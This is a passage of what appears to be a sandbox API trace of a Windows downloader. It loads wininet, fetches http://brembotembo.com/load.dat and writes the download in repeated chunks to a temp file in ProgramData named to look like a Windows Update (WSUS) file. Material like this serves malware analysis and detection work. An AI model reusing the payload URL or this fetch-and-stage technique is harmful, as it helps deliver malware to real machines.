param_1="C:\\ProgramData\\Settings\\wsus_41a480.tmp") returned 39 [0074.933] DeleteFileA (lpFileName="C:\\ProgramData\\Settings\\wsus_41a480.tmp" (normalized: "c:\\programdata\\settings\\wsus_41a480.tmp")) returned 0 [0074.934] OutputDebugStringA (lpOutputString="C:\\ProgramData\\Settings\\wsus_41a480.tmp") [0075.055] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0075.126] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0075.861] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0075.862] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://brembotembo.com/load.dat", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x80000000, dwContext=0x0) returned 0xcc000c [0077.151] CreateFileA (lpFileName="C:\\ProgramData\\Settings\\wsus_41a480.tmp" (normalized: "c:\\programdata\\settings\\wsus_41a480.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0077.152] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.153] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.154] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.156] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.156] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.157] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.157] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.157] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.158] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.158] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.158] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.158] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.159] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.159] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.159] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.160] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.160] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.160] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.160] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.161] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.161] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.161] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.162] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.162] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.162] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.162] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.163] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.163] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.163] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.164] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.164] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.165] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.165] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.165] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.165] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.166] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.166] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.166] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.166] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.167] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.167] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.185] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.185] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.186] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.186] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.186] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.186] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.187] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.187] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.187] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.187] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.188] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.188] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.188] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.188] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.189] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.190] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.190] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.191] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.192] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.192] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.192] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.193] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.193] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.193] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.193] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.194] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.194] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.194] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.194] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.195] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.195] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.195] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.195] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.196] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.196] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.196] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.196] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.197] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.197] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.197] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.197] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.197] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.198] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.198] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.198] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.252] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.252] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.252] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.253] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.253] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.253] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.253] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.253] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.254] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.254] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.254] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.254] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.254] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.255] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.255] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.255] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.255] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.256] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.256] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.256] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.256] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.257] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.257] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.257] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.257] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.257] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.258] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.258] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.258] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.258] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.258] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.258] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.259] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.259] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.259] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.259] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.259] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.260] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.260] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.260] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.260] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.260] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.260] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.261] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.261] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.261] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.261] 